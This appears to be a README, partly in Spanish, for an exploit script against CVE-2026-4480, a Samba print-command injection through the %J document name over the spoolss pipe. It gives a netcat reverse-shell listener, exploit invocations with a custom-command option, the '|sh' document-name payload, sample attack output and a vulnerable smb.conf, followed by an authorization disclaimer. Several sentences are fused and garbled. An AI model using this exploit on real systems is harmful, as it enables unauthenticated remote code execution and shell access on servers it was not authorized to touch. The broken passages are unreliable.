Exploit para CVE-2026-4480: inyeccion de comandos en la variable %J del print command de Samba para RCE sin autenticacion via spoolss.
Develop this exploit for the CVE-2026-4480 vulnerability in Samba. The bug is in how Samba handles the %J variable (document name) in the print command directive of smb.conf. The document name is passed unsanitized to the shell, which allows injecting arbitrary commands through the document_name field in a print job via RPC.
\pipe\spoolss named pipe without credentials|sh, which causes Samba to interpret the spool contents as a shell scriptEndDocPrinter, Samba executes the print command that invokes /bin/sh with the spool contentssudo apt install python3-samba
First, start a listener:
nc -lvnp 4444
Then run the exploit:
# Reverse shell
python3 CVE-2026-4480-samba-print-command-injection-rce.py <TARGET_IP> <YOUR_IP> 4444
# Comando custom
python3 CVE-2026-4480-samba-print-command-injection-rce.py <IP_OBJETIVO> <TU_IP> 4444 -c "whoami > /tmp/pwned"
# Specify printer name
python3 CVE-2026-4480-samba-print-command-injection-rce.py <TARGET_IP> <YOUR_IP> 4444 -P printer-name
[*] target : 10.10.10.1 (\\10.10.10.1\printer-share)
[*] callback : 10.10.14.5:4444 (start a listener first: nc -lvnp 4444)
[+] print job submitted -- check your listener / out-of-band channel
spoolss → StartDocPrinter with document_name = "|sh"%J variable in print command is not escaped before being passed to the shellsmbd (usually root or nobody)[printer-share]
path = /var/spool/samba
printable = yes
guest ok = yes
print command = /bin/bash -c 'cat %s | /usr/bin/enscript -p /tmp/out.ps -d %p %J; rm %s'
The problem is %J — the document name is interpolated directly into the shell command.
This script is solely for authorized security testing and educational purposes. Always obtain the corresponding authorization before testing against any system.
Alan Newberry